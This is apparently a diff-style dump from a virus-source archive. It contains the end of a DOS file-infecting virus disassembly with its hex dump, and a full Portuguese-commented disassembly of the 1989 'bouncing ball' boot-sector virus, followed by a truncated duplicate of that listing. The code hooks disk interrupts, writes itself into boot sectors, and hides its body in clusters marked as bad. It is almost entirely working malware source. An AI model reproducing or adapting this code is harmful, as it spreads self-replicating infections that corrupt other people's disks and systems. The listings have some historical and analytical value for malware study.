INT 21H ;WRITE TO A FILE
L0584: JC L0597 ;
CMP AX,CX ;
JNE L05A2 ;
;
MOV DX,[HOST_SIZE] ;POINT TO END OF FILE
MOV CX,[HOST_SIZE+2] ;
MOV AX,4200 ;
INT 21H ;MOVE FILE POINTER
L0597: JC L05A2 ;
;
;---------------------------------------;
; WRITE VIRUS CODE TO END OF HOST ;
;---------------------------------------;
XOR DX,DX ;
MOV CX,710H ;(SIZE OF VIRUS)
MOV AH,40H ;
INT 21H ;WRITE TO A FILE
;
L05A2: CMP Word ptr CS:[008F],0 ;IF...
JZ L05AE ;...SKIP
MOV AH,49H ;
INT 21H ;FREE ALLOCATED MEMORY
;
L05AE: CMP Word ptr CS:[HANDLE],-1 ;IF ...
JE I_90 ;...SKIP
;
MOV BX,CS:[HANDLE] ;RESTORE HOST'S DATE/TIME
MOV DX,CS:[HOST_DATE] ;
MOV CX,CS:[HOST_TIME] ;
MOV AX,5701H ;
INT 21H ;GET/SET FILE DATE/TIME
;
MOV AH,3EH ;
INT 21H ;CLOSE FILE
;
LDS DX,CS:[HOST_NAME] ;RESTORE HOST'S ATTRIBUTE
MOV CX,CS:[HOST_ATT] ;
MOV AX,4301H ;
INT 21H ;CHANGE FILE MODE
;
LDS DX,dword ptr CS:[OLD_24];RESTORE CRITICAL ERROR HANDLER
MOV AX,2524H ;
INT 21H ;SET VECTOR
;
I_90: POP ES ;
POP DS ;
POP DI ;
POP SI ;
POP DX ;
POP CX ;
POP BX ;
POP AX ;
POPF ; (OUR PUSHF)
JMP far CS:[OLD_21] ;PASS CONTROL TO DOS
;
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
;0100 E9 92 00 73 55 4D 73 44-6F 73 00 01 15 18 00 00 i..sUMsDos......
;0110 00 00 01 A5 FE 00 F0 60-14 4E 02 56 05 A5 16 48 ...%~.p`.N.V.%.H
;0120 7E 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ~...............
;0130 00 8E 17 80 00 00 00 80-00 8E 17 5C 00 8E 17 6C ...........\...l
;0140 00 8E 17 10 07 7A 34 C5-00 7A 34 10 F0 82 00 4D .....z4E.z4.p..M
;0150 5A D0 00 98 00 31 00 20-00 11 00 FF FF 5C 12 10 ZP...1. .....\..
;0160 07 84 19 C5 00 5C 12 20-00 00 00 C3 C3 C3 C3 C3 ...E.\. ...CCCCC
;0170 05 00 20 00 21 00 2D 00-00 02 10 00 C0 27 01 00 .. .!.-.....@'..
;0180 D9 41 28 9B 43 4F 4D 4D-41 4E 44 2E 43 4F 4D 01 YA(.COMMAND.COM.
;0190 00 00 00 00 00 FC B4 E0-CD 21 80 FC E0 73 16 80 .....|4`M!.|`s..
;01A0 FC 03 72 11 B4 DD BF 00-01 BE 10 07 03 F7 2E 8B |.r.4]?..>...w..
;01B0 8D 11 00 CD 21 8C C8 05-10 00 8E D0 BC 00 07 50 ...M!.H....P<..P
;01C0 B8 C5 00 50 CB FC 06 2E-8C 06 31 00 2E 8C 06 39 8E.PK|....1....9
;01D0 00 2E 8C 06 3D 00 2E 8C-06 41 00 8C C0 05 10 00 ....=....A..@...
;01E0 2E 01 06 49 00 2E 01 06-45 00 B4 E0 CD 21 80 FC ...I....E.4`M!.|
;01F0 E0 73 13 80 FC 03 07 2E-8E 16 45 00 2E 8B 26 43 `s..|.....E...&C
;0200 00 2E FF 2E 47 00 33 C0-8E C0 26 A1 FC 03 2E A3 ....G.3@.@&!|..#
;0210 4B 00 26 A0 FE 03 2E A2-4D 00 26 C7 06 FC 03 F3 K.& ~.."M.&G.|.s
;0220 A5 26 C6 06 FE 03 CB 58-05 10 00 8E C0 0E 1F B9 %&F.~.KX....@..9
;0230 10 07 D1 E9 33 F6 8B FE-06 B8 42 01 50 EA FC 03 ..Qi3v.~.8B.Pj|.
;0240 00 00 8C C8 8E D0 BC 00-07 33 C0 8E D8 2E A1 4B ...H.P<..3@.X.!K
;0250 00 A3 FC 03 2E A0 4D 00-A2 FE 03 8B DC B1 04 D3 .#|.. M."~..\1.S
;0260 EB 83 C3 10 2E 89 1E 33-00 B4 4A 2E 8E 06 31 00 k.C....3.4J...1.
;0270 CD 21 B8 21 35 CD 21 2E-89 1E 17 00 2E 8C 06 19 M!8!5M!.........
;0280 00 0E 1F BA 5B 02 B8 21-25 CD 21 8E 06 31 00 26 ...:[.8!%M!..1.&
;0290 8E 06 2C 00 33 FF B9 FF-7F 32 C0 F2 AE 26 38 05 ..,.3.9..2@r.&8.
;02A0 E0 F9 8B D7 83 C2 03 B8-00 4B 06 1F 0E 07 BB 35 `y.W.B.8.K....;5
;02B0 00 1E 06 50 53 51 52 B4-2A CD 21 2E C6 06 0E 00 ...PSQR4*M!.F...
;02C0 00 81 F9 C3 07 74 30 3C-05 75 0D 80 FA 0D 75 08 ..yC.t0<.u..z.u.
;02D0 2E FE 06 0E 00 EB 20 90-B8 08 35 CD 21 2E 89 1E .~...k .8.5M!...
;02E0 13 00 2E 8C 06 15 00 0E-1F C7 06 1F 00 90 7E B8 .........G....~8
;02F0 08 25 BA 1E 02 CD 21 5A-59 5B 58 07 1F 9C 2E FF .%:..M!ZY[X.....
;0300 1E 17 00 1E 07 B4 49 CD-21 B4 4D CD 21 B4 31 BA .....4IM!4MM!41:
;0310 00 06 B1 04 D3 EA 83 C2-10 CD 21 32 C0 CF 2E 83 ..1.Sj.B.M!2@O..
;0320 3E 1F 00 02 75 17 50 53-51 52 55 B8 02 06 B7 87 >...u.PSQRU8..7.
;0330 B9 05 05 BA 10 10 CD 10-5D 5A 59 5B 58 2E FF 0E 9..:..M.]ZY[X...
;0340 1F 00 75 12 2E C7 06 1F-00 01 00 50 51 56 B9 01 ..u..G.....PQV9.
;0350 40 F3 AC 5E 59 58 2E FF-2E 13 00 9C 80 FC E0 75 @s,^YX.......|`u
;0360 05 B8 00 03 9D CF 80 FC-DD 74 13 80 FC DE 74 28 .8...O.|]t..|^t(
;0370 3D 00 4B 75 03 E9 B4 00-9D 2E FF 2E 17 00 58 58 =.Ku.i4.......XX
;0380 B8 00 01 2E A3 0A 00 58-2E A3 0C 00 F3 A4 9D 2E 8...#..X.#..s$..
;0390 A1 0F 00 2E FF 2E 0A 00-83 C4 06 9D 8C C8 8E D0 !........D...H.P
;03A0 BC 10 07 06 06 33 FF 0E-07 B9 10 00 8B F3 BF 21 <....3...9...s?!
;03B0 00 F3 A4 8C D8 8E C0 2E-F7 26 7A 00 2E 03 06 2B .s$.X.@.w&z....+
;03C0 00 83 D2 00 2E F7 36 7A-00 8E D8 8B F2 8B FA 8C ..R..w6z..X.r.z.
;03D0 C5 2E 8B 1E 2F 00 0B DB-74 13 B9 00 80 F3 A5 05 E.../..[t.9..s%.
;03E0 00 10 81 C5 00 10 8E D8-8E C5 4B 75 ED 2E 8B 0E ...E...X.EKum...
;03F0 2D 00 F3 A4 58 50 05 10-00 2E 01 06 29 00 2E 01 -.s$XP......)...
;0400 06 25 00 2E A1 21 00 1F-07 2E 8E 16 29 00 2E 8B .%..!!......)...
;0410 26 27 00 2E FF 2E 23 00-33 C9 B8 01 43 CD 21 B4 &'....#.3I8.CM!4
;0420 41 CD 21 B8 00 4B 9D 2E-FF 2E 17 00 2E 80 3E 0E AM!8.K........>.
;0430 00 01 74 E4 2E C7 06 70-00 FF FF 2E C7 06 8F 00 ..td.G.p....G...
;0440 00 00 2E 89 16 80 00 2E-8C 1E 82 00 50 53 51 52 ............PSQR
;0450 56 57 1E 06 FC 8B FA 32-D2 80 7D 01 3A 75 05 8A VW..|.z2R.}.:u..
;0460 15 80 E2 1F B4 36 CD 21-3D FF FF 75 03 E9 77 02 ..b.46M!=..u.iw.
;0470 F7 E3 F7 E1 0B D2 75 05-3D 10 07 72 F0 2E 8B 16 wcwa.Ru.=..rp...
;0480 80 00 1E 07 32 C0 B9 41-00 F2 AE 2E 8B 36 80 00 ....2@9A.r...6..
;0490 8A 04 0A C0 74 0E 3C 61-72 07 3C 7A 77 03 80 2C ...@t.<ar.<zw..,
;04A0 20 46 EB EC B9 0B 00 2B-F1 BF 84 00 0E 07 B9 0B Fkl9..+q?....9.
;04B0 00 F3 A6 75 03 E9 2F 02-B8 00 43 CD 21 72 05 2E .s&u.i/.8.CM!r..
;04C0 89 0E 72 00 72 25 32 C0-2E A2 4E 00 1E 07 8B FA ..r.r%2@."N....z
;04D0 B9 41 00 F2 AE 80 7D FE-4D 74 0B 80 7D FE 6D 74 9A.r..}~Mt..}~mt
;04E0 05 2E FE 06 4E 00 B8 00-3D CD 21 72 5A 2E A3 70 ..~.N.8.=M!rZ.#p
;04F0 00 8B D8 B8 02 42 B9 FF-FF BA FB FF CD 21 72 EB ..X8.B9..:{.M!rk
;0500 05 05 00 2E A3 11 00 B9-05 00 BA 6B 00 8C C8 8E ....#..9..:k..H.
;0510 D8 8E C0 B4 3F CD 21 8B-FA BE 05 00 F3 A6 75 07 X.@4?M!.z>..s&u.
;0520 B4 3E CD 21 E9 C0 01 B8-24 35 CD 21 89 1E 1B 00 4>M!i@.8$5M!....
;0530 8C 06 1D 00 BA 1B 02 B8-24 25 CD 21 C5 16 80 00 ....:..8$%M!E...
;0540 33 C9 B8 01 43 CD 21 72-3B 2E 8B 1E 70 00 B4 3E 3I8.CM!r;...p.4>
;0550 CD 21 2E C7 06 70 00 FF-FF B8 02 3D CD 21 72 24 M!.G.p...8.=M!r$
;0560 2E A3 70 00 8C C8 8E D8-8E C0 8B 1E 70 00 B8 00 .#p..H.X.@..p.8.
;0570 57 CD 21 89 16 74 00 89-0E 76 00 B8 00 42 33 C9 WM!..t...v.8.B3I
;0580 8B D1 CD 21 72 3D 80 3E-4E 00 00 74 03 EB 57 90 .QM!r=.>N..t.kW.
;0590 BB 00 10 B4 48 CD 21 73-0B B4 3E 8B 1E 70 00 CD ;..4HM!s.4>..p.M
;05A0 21 E9 43 01 FF 06 8F 00-8E C0 33 F6 8B FE B9 10 !iC......@3v.~9.
;05B0 07 F3 A4 8B D7 8B 0E 11-00 8B 1E 70 00 06 1F B4 .s$.W......p...4
;05C0 3F CD 21 72 1C 03 F9 33-C9 8B D1 B8 00 42 CD 21 ?M!r..y3I.Q8.BM!
;05D0 BE 05 00 B9 05 00 F3 2E-A4 8B CF 33 D2 B4 40 CD >..9..s.$.O3R4@M
;05E0 21 72 0D E9 BC 00 B9 1C-00 BA 4F 00 B4 3F CD 21 !r.i<.9..:O.4?M!
;05F0 72 4A C7 06 61 00 84 19-A1 5D 00 A3 45 00 A1 5F rJG.a...!].#E.!_
;0600 00 A3 43 00 A1 63 00 A3-47 00 A1 65 00 A3 49 00 .#C.!c.#G.!e.#I.
;0610 A1 53 00 83 3E 51 00 00-74 01 48 F7 26 78 00 03 !S..>Q..t.Hw&x..
;0620 06 51 00 83 D2 00 05 0F-00 83 D2 00 25 F0 FF A3 .Q..R.....R.%p.#
;0630 7C 00 89 16 7E 00 05 10-07 83 D2 00 72 3A F7 36 |...~.....R.r:w6
;0640 78 00 0B D2 74 01 40 A3-53 00 89 16 51 00 A1 7C x..Rt.@#S...Q.!|
;0650 00 8B 16 7E 00 F7 36 7A-00 2B 06 57 00 A3 65 00 ...~.w6z.+.W.#e.
;0660 C7 06 63 00 C5 00 A3 5D-00 C7 06 5F 00 10 07 33 G.c.E.#].G._...3
;0670 C9 8B D1 B8 00 42 CD 21-72 0A B9 1C 00 BA 4F 00 I.Q8.BM!r.9..:O.
;0680 B4 40 CD 21 72 11 3B C1-75 18 8B 16 7C 00 8B 0E 4@M!r.;Au...|...
;0690 7E 00 B8 00 42 CD 21 72-09 33 D2 B9 10 07 B4 40 ~.8.BM!r.3R9..4@
;06A0 CD 21 2E 83 3E 8F 00 00-74 04 B4 49 CD 21 2E 83 M!..>...t.4IM!..
;06B0 3E 70 00 FF 74 31 2E 8B-1E 70 00 2E 8B 16 74 00 >p..t1...p....t.
;06C0 2E 8B 0E 76 00 B8 01 57-CD 21 B4 3E CD 21 2E C5 ...v.8.WM!4>M!.E
;06D0 16 80 00 2E 8B 0E 72 00-B8 01 43 CD 21 2E C5 16 ......r.8.CM!.E.
;06E0 1B 00 B8 24 25 CD 21 07-1F 5F 5E 5A 59 5B 58 9D ..8$%M!.._^ZY[X.
;06F0 2E FF 2E 17 00 00 00 00-00 00 00 00 00 00 00 00 ................
;0700 4D 00 00 0F 00 00 00 00-00 00 00 00 00 00 00 00 M...............
;0710 CD 20 0B 1B 00 9A F0 FE-1D F0 2F 01 0E 0A 3C 01 M ....p~.p/...<.
;0720 0E 0A EB 04 0E 0A 0E 0A-01 01 01 00 02 FF FF FF ..k.............
;0730 FF FF FF FF FF FF FF FF-FF FF FF FF DD 0A 0C 16 ............]...
;0740 52 0B 14 00 18 00 52 0B-FF FF FF FF 00 00 00 00 R.....R.........
;0750 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
;0760 CD 21 CB 00 00 00 00 00-00 00 00 00 00 20 20 20 M!K..........
;0770 20 20 20 20 20 20 20 20-00 00 00 00 00 20 20 20 .....
;0780 20 20 20 20 20 20 20 20-00 00 00 00 00 00 00 00 ........
;0790 00 0D 62 3A 0D 62 6F 2E-2A 20 62 3A 0D 00 00 00 ..b:.bo.* b:....
;07A0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 01 00 ................
;07B0 17 D0 01 00 01 00 17 D0-01 00 01 00 17 D0 02 00 .P.....P.....P..
;07C0 01 00 17 D0 02 00 01 00-87 CF 00 00 05 00 FF FF ...P.....O......
;07D0 EA CF 01 00 17 D0 07 00-01 00 6C 15 08 25 A5 FE jO...P....l..%%~
;07E0 BC 07 1E 02 10 07 6C 15-8E 17 2F 01 04 7F 70 00 <.....l.../...p.
;07F0 10 07 40 00 82 08 88 17-A5 16 1B 02 8E 17 02 02 ..@.....%.......
;0800 4D 15 18 05 00 00 00 00-00 00 00 00 00 00 00 00 M...............
;<<<<<<<<<< ORIGINAL CODE BEGINS HERE
;0810 C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3 CCCCCCCCCCCCCCCC
;0820 C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3 CCCCCCCCCCCCCCCC
;0830 C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3 CCCCCCCCCCCCCCCC
;0840 C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3 CCCCCCCCCCCCCCCC
;0850 C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3 CCCCCCCCCCCCCCCC
;0860 C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3 CCCCCCCCCCCCCCCC
;0870 C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3 CCCCCCCCCCCCCCCC
;0880 C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3 CCCCCCCCCCCCCCCC
;0890 C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3 CCCCCCCCCCCCCCCC
;08A0 C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3 CCCCCCCCCCCCCCCC
;08B0 C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3 CCCCCCCCCCCCCCCC
;08C0 C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3 CCCCCCCCCCCCCCCC
;08D0 C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3 CCCCCCCCCCCCCCCC
;08E0 C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3 CCCCCCCCCCCCCCCC
;08F0 C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3 CCCCCCCCCCCCCCCC
;0900 C3 C3 C3 C3 C3 C3 C3 C3-C3 C3 C3 C3 C3 C3 C3 C3 CCCCCCCCCCCCCCCC
;>>>>>>>>>> ORIGINAL CODE ENDS HERE
;0910 4D 73 44 6F 73
;-----------------------------------------------------------------------;
END
+454
View File
@@ -0,0 +1,454 @@
; **************************************************
; *** VIRUS ITALIANO SALTITANTE - A LISTAGEM ***
; *** Desassemblagem obtida por Miguel Vitorino ***
; *** Para : S P O O L E R - Junho de 1989 ***
; **************************************************
.RADIX 16
jmpf macro x
db 0eah
dd x
endm
Virus SEGMENT
assume cs:virus;ds:virus
jmpf MACRO x
db 0eah
dd x
ENDM
org 0100h
begin: jmp short entry
db 1eh-2 dup (?) ; Informacao relativa a' disquete
entry: xor ax,ax
mov ss,ax
mov sp,7c00 ; Colocar o Stack antes do inicio do
mov ds,ax ; virus
mov ax,ds:[0413] ; Retirar 2 K como se nao existissem
sub ax,2 ; para que o DOS nao la' chegue !
mov ds:[0413],ax
mov cl,06 ; Converter o tamanho da RAM num
shl ax,cl ; numero de segmento que se situa nos
sub ax,07c0 ; 2 ultimos K
mov es,ax ; De seguida passar este programa
mov si,7c00 ; para esse sitio de memoria
mov di,si ; ( i.e. o programa transfere-se a si
mov cx,0100 ; proprio )
repz movsw
mov cs,ax ; Transferencia de controlo para ai!
push cs ; Agora sim , ja' estamos nos tais 2K
pop ds
call reset ; fazer duas vezes um "reset" ao
reset: xor ah,ah ; controlador de disco
int 13
and byte ptr ds:drive,80
mov bx,ds:sector ; Sector onde esta' o resto do virus
push cs
pop ax
sub ax,0020
mov es,ax
call ler_sector ; Ler o resto do virus da drive
mov bx,ds:sector
inc bx
mov ax,0ffc0 ; Carregar o sector de boot original
mov es,ax
call ler_sector
xor ax,ax
mov ds:estado,al
mov ds,ax
mov ax,ds:[004c] ; "Confiscar" o interrupt 13
mov bx,ds:[004e] ; ( operacoes sobre disquetes/discos )
mov word ptr ds:[004c],offset int_13
mov ds:[004e],cs
push cs
pop ds
mov word ptr ds:velho_13,ax ; Guardar a velha rotina do int. 13
mov word ptr ds:velho_13+2,bx
mov dl,ds:drive
jmpf 0:7c00 ; Efectuar o arranque do sistema
Esc_Sector proc near
mov ax,0301 ; Escrever um sector da drive
jmp short cs:transferir
Esc_Sector endp
Ler_Sector proc near
mov ax,0201 ; Ler um sector da drive
Ler_Sector endp
Transferir proc near ; Efectuar uma transferencia de dados
xchg ax,bx ; de ou para a drive
add ax,ds:[7c1c] ; Este procedimento tem como entrada
xor dx,dx ; o numero do sector pretendido ( BX )
div ds:[7c18] ; e de seguida sao feitas as contas
inc dl ; para saber qual a pista e o lado
mov ch,dl ; onde esse sector fica
xor dx,dx
div ds:[7c1a]
mov cl,06
shl ah,cl
or ah,ch
mov cx,ax
xchg ch,cl
mov dh,dl
mov ax,bx ; Depois de todas as contas feitas
transf: mov dl,ds:drive ; pode-se chamar o interrupt 13H
mov bx,8000 ; es:bx = end. de transferencia
int 13
jnb trans_exit
pop ax
trans_exit: ret
Transferir endp
Int_13 proc near ; Rotina de atendimento ao int. 13H
push ds ; (operacoes sobre discos e disquetes)
push es
push ax
push bx
push cx
push dx
push cs
pop ds
push cs
pop es
test byte ptr ds:estado,1 ; Testar se se esta' a ver se o virus
jnz call_BIOS ; esta' no disco
cmp ah,2
jnz call_BIOS
cmp ds:drive,dl ; Ver se a ultima drive que foi
mov ds:drive,dl ; mexida e' igual a' drive onde
jnz outra_drv ; se vai mexer
xor ah,ah ; Neste momento vai-se tirar a' sorte
int 1a ; para ver se o virus fica activo
test dh,7f ; Isto e' feito a partir da leitura
jnz nao_desp ; da hora e se for igual a um dado
test dl,0f0 ; numero , o virus e' despoletado
jnz nao_desp
push dx ; Instalar o movimento da bola
call despoletar
pop dx
nao_desp: mov cx,dx
sub dx,ds:semente
mov ds:semente,cx
sub dx,24
jb call_BIOS
outra_drv: or byte ptr ds:estado,1 ; Indicar que se esta' a testar a
push si ; presenca ou nao do virus na drive
push di
call contaminar
pop di
pop si
and byte ptr ds:estado,0fe ; Indicar fim de teste de virus
call_BIOS: pop dx
pop cx
pop bx
pop ax
pop es
pop ds
Velho_13 equ $+1
jmpf 0:0
Int_13 endp
Contaminar proc near
mov ax,0201
mov dh,0
mov cx,1
call transf
test byte ptr ds:drive,80 ; Pediu-se um reset a' drive ?
jz testar_drv ; Sim , passar a' contaminacao directa
mov si,81be
mov cx,4
proximo: cmp byte ptr [si+4],1
jz ler_sect
cmp byte ptr [si+4],4
jz ler_sect
add si,10
loop proximo
ret
ler_sect: mov dx,[si] ; Cabeca+drive
mov cx,[si+2] ; Pista+sector inicial
mov ax,0201 ; Ler esse sector
call transf
testar_drv: mov si,8002 ; Comparar os 28 primeiros bytes para
mov di,7c02 ; ver se o sector de boot e' o mesmo
mov cx,1c ; i.e. ver se a drive ja' foi virada !
repz movsb
cmp word ptr ds:[offset flag+0400],1357
jnz esta_limpa
cmp byte ptr ds:flag_2,0
jnb tudo_bom
mov ax,word ptr ds:[offset prim_dados+0400]
mov ds:prim_dados,ax ; Se chegar aqui entao a disquete ja'
mov si,ds:[offset sector+0400] ; esta' contaminada !
jmp infectar
tudo_bom: ret
; Neste momento descobriu-se uma disquete nao contaminada ! Vai-se agora
; proceder a' respectiva contaminacao !
esta_limpa: cmp word ptr ds:[800bh],0200; Bytes por sector
jnz tudo_bom
cmp byte ptr ds:[800dh],2 ; Sectores por cluster
jb tudo_bom
mov cx,ds:[800e] ; Sectores reservados
mov al,byte ptr ds:[8010] ; Numero de FAT's
cbw
mul word ptr ds:[8016] ; Numero de sectores de FAT
add cx,ax
mov ax,' '
mul word ptr ds:[8011] ; Numero de entradas na root
add ax,01ff
mov bx,0200
div bx
add cx,ax
mov ds:prim_dados,cx
mov ax,ds:[7c13] ; Numero de sectores da drive
sub ax,ds:prim_dados
mov bl,byte ptr ds:[7c0dh] ; Numero de sectores por cluster
xor dx,dx
xor bh,bh
div bx
inc ax
mov di,ax
and byte ptr ds:estado,0fbh ; Se o numero de clusters dor superior
cmp ax,0ff0 ; a 0FF0 entao cada entrada na FAT sao
jbe sao_3 ; 4 nibbles senao sao 3
or byte ptr ds:estado,4 ; 4 = disco duro ?
sao_3: mov si,1 ; Escolher sector a infectar
mov bx,ds:[7c0e] ; Numero de sectores reservados
dec bx
mov ds:inf_sector,bx ; Sector a infectar
mov byte ptr ds:FAT_sector,0fe
jmp short continua
Inf_Sector dw 1 ; Sector a infectar
Prim_Dados dw 0c ; Numero do primeiro sector de dados
Estado db 0 ; Estado actual do virus (instalado/nao instalado,etc)
Drive db 1 ; Drive onde se pediu uma accao
Sector dw 0ec ; Sector auxiliar para procura do virus
Flag_2 db 0 ; Estes proximos valores servem para ver se o virus
Flag dw 1357 ; ja' esta' ou nao presente numa drive , bastando
dw 0aa55 ; comparar se estes valores batem certos para o saber
continua: inc word ptr ds:inf_sector
mov bx,ds:inf_sector
add byte ptr ds:[FAT_sector],2
call ler_sector
jmp short l7e4b
; Este pequeno pedaco de programa o que faz e' percorrer a FAT que ja' esta' na
; memo'ria e procurar ai um cluster livre para colocar nesse sitio o resto do
; virus
verificar: mov ax,3 ; Media descriptor + ff,ff
test byte ptr ds:estado,4 ; disco duro ?
jz l7e1d
inc ax ; Sim , FAT comeca 1 byte mais adiante
l7e1d: mul si ; Multiplicar pelo numero do cluster
shr ax,1
sub ah,ds:FAT_sector
mov bx,ax
cmp bx,01ff
jnb continua
mov dx,[bx+8000] ; Ler a entrada na FAT
test byte ptr ds:estado,4
jnz l7e45
mov cl,4
test si,1
jz l7e42
shr dx,cl
l7e42: and dh,0f
l7e45: test dx,0ffff ; Se a entrada na FAT for zero,entao
jz l7e51 ; descobriu-se um cluster para por o
l7e4b: inc si ; virus , senao passa-se ao proximo
cmp si,di ; cluster ate' achar um bom
jbe verificar
ret
; Ja' foi descoberto qual o cluster a infectar ( registo BX ) , agora vai-se
; proceder a' infeccao da disquete ou disco e tambem a' marcacao desse cluster
; como um "bad cluster" para o DOS nao aceder a ele
l7e51: mov dx,0fff7 ; Marcar um "bad cluster" (ff7)
test byte ptr ds:estado,4 ; Ver qual o tamanho das ents. na FAT
jnz l7e68 ; ( 3 ou 4 nibbles )
and dh,0f
mov cl,4
test si,1
jz l7e68
shl dx,cl
l7e68: or [bx+8000],dx
mov bx,word ptr ds:inf_sector ; Infectar sector !!!
call esc_sector
mov ax,si
sub ax,2
mov bl,ds:7c0dh ; Numero de sectores por cluster
xor bh,bh
mul bx
add ax,ds:prim_dados
mov si,ax ; SI = sector a infectar
mov bx,0 ; Ler o sector de boot original
call ler_sector
mov bx,si
inc bx
call esc_sector ; ... e guarda'-lo depois do virus
infectar: mov bx,si
mov word ptr ds:sector,si
push cs
pop ax
sub ax,20 ; Escrever o resto do virus
mov es,ax
call esc_sector
push cs
pop ax
sub ax,40
mov es,ax
mov bx,0 ; Escrever no sector de boot o virus
call esc_sector
ret
Contaminar endp
Semente dw ? ; Esta word serve para fins de
; temporizacao da bola a saltar
FAT_sector db 0 ; Diz qual e' o numero do sector que
; se esta' a percorrer quando se
; vasculha a FAT
Despoletar proc near ; Comecar a mostrar a bola no ecran
test byte ptr ds:estado,2 ; Virus ja' esta' activo ?
jnz desp_exit ; Sim ,sair
or byte ptr ds:estado,2 ; Nao , marcar activacao
mov ax,0
mov ds,ax
mov ax,ds:20 ; Posicionar interrupt 8 (relogio)
mov bx,ds:22
mov word ptr ds:20,offset int_8
mov ds:22,cs
push cs
pop ds ; E guardar a rotina anterior
mov word ptr ds:velho_8+8,ax
mov word ptr ds:velho_8+2,bx
desp_exit: ret
Despoletar endp
Int_8 proc near ; Rotina de atendimento ao interrupt
push ds ; provocado pelo relogio 18.2 vezes
push ax ; por segundo . Neste procedimento
push bx ; e' que se faz o movimento da bola
push cx ; pelo ecran
push dx
push cs
pop ds
mov ah,0f ; Ver qual o tipo de modo de video
int 10
mov bl,al
cmp bx,ds:modo_pag ; Comparar modo e pagina de video com
jz ler_cur ; os anteriores
mov ds:modo_pag,bx ; Quando aqui chega mudou-se o modo
dec ah ; de video
mov ds:colunas,ah ; Guardar o numero de colunas
mov ah,1
cmp bl,7 ; Comparar modo com 7 (80x25 Mono)
jnz e_CGA
dec ah
e_CGA: cmp bl,4 ; Ve se e' modo grafico
jnb e_grafico
dec ah
e_grafico: mov ds:muda_attr,ah
mov word ptr ds:coordenadas,0101
mov word ptr ds:direccao,0101
mov ah,3 ; Ler a posicao do cursor
int 10
push dx ; ... e guarda-la
mov dx,ds:coordenadas
jmp short limites
ler_cur: mov ah,3 ; Ler a posicao do cursor ...
int 10
push dx ; ... e guarda-la
mov ah,2 ; Posicionar o cursor no sitio da bola
mov dx,ds:coordenadas
int 10
mov ax,ds:carat_attr
cmp byte ptr ds:muda_attr,1
jnz mudar_atr
mov ax,8307 ; Atributos e carater 7
mudar_atr: mov bl,ah ; Carregar carater 7 (bola)
mov cx,1
mov ah,9 ; Escrever a bola no ecran
int 10
limites: mov cx,ds:direccao ; Agora vai-se ver se a bola esta' no
cmp dh,0 ; ecran . Linha = 0 ?
jnz linha_1
xor ch,0ff ; Mudar direccao
inc ch
linha_1: cmp dh,18 ; Linha = 24 ?
jnz coluna_1
xor ch,0ff ; Mudar direccao
inc ch
coluna_1: cmp dl,0 ; Coluna = 0 ?
jnz coluna_2
xor cl,0ff ; Mudar direccao
inc cl
coluna_2: cmp dl,ds:colunas ; Colunas = numero de colunas ?
jnz esta_fixe
xor cl,0ff ; Mudar direccao
inc cl
esta_fixe: cmp cx,ds:direccao ; Mesma direccao ?
jnz act_bola
mov ax,ds:carat_attr
and al,7
cmp al,3
jnz nao_e
xor ch,0ff
inc ch
nao_e: cmp al,5
jnz act_bola
xor cl,0ff
inc cl
act_bola: add dl,cl ; Actualizar as coordenadas da bola
add dh,ch
mov ds:direccao,cx
mov ds:coordenadas,dx
mov ah,2
int 10
mov ah,8 ; Ler carater para onde vai a bola
int 10
mov ds:carat_attr,ax
mov bl,ah
cmp byte ptr ds:muda_attr,1
jnz nao_muda
mov bl,83 ; Novo atributo
nao_muda: mov cx,1
mov ax,0907 ; Escrever a bola no ecran
int 10
pop dx
mov ah,2 ; Recolocar o cursor no posicao onde
int 10 ; estava antes de escrever a bola
pop dx
pop cx
pop bx
pop ax
pop ds
velho_8 equ $+1
jmpf 0:0
Int_8 endp
Carat_attr dw ? ; 7fcd
Coordenadas dw 0101 ; 7fcf
Direccao dw 0101 ; 7fd1
Muda_attr db 1 ; 7fd3
Modo_pag dw ? ; 7fd4
Colunas db ? ; 7fd6
; Os bytes que se seguem destinam-se a reservar espaco para o stack
Virus ENDS
END begin
@@ -0,0 +1,455 @@
; **************************************************
; *** VIRUS ITALIANO SALTITANTE - A LISTAGEM ***
; *** Desassemblagem obtida por Miguel Vitorino ***
; *** Para : S P O O L E R - Junho de 1989 ***
; **************************************************
.RADIX 16
jmpf macro x
db 0eah
dd x
endm
Virus SEGMENT
assume cs:virus;ds:virus
jmpf MACRO x
db 0eah
dd x
ENDM
org 0100h
begin: jmp short entry
db 1eh-2 dup (?) ; Informacao relativa a' disquete
entry: xor ax,ax
mov ss,ax
mov sp,7c00 ; Colocar o Stack antes do inicio do
mov ds,ax ; virus
mov ax,ds:[0413] ; Retirar 2 K como se nao existissem
sub ax,2 ; para que o DOS nao la' chegue !
mov ds:[0413],ax
mov cl,06 ; Converter o tamanho da RAM num
shl ax,cl ; numero de segmento que se situa nos
sub ax,07c0 ; 2 ultimos K
mov es,ax ; De seguida passar este programa
mov si,7c00 ; para esse sitio de memoria
mov di,si ; ( i.e. o programa transfere-se a si
mov cx,0100 ; proprio )
repz movsw
mov cs,ax ; Transferencia de controlo para ai!
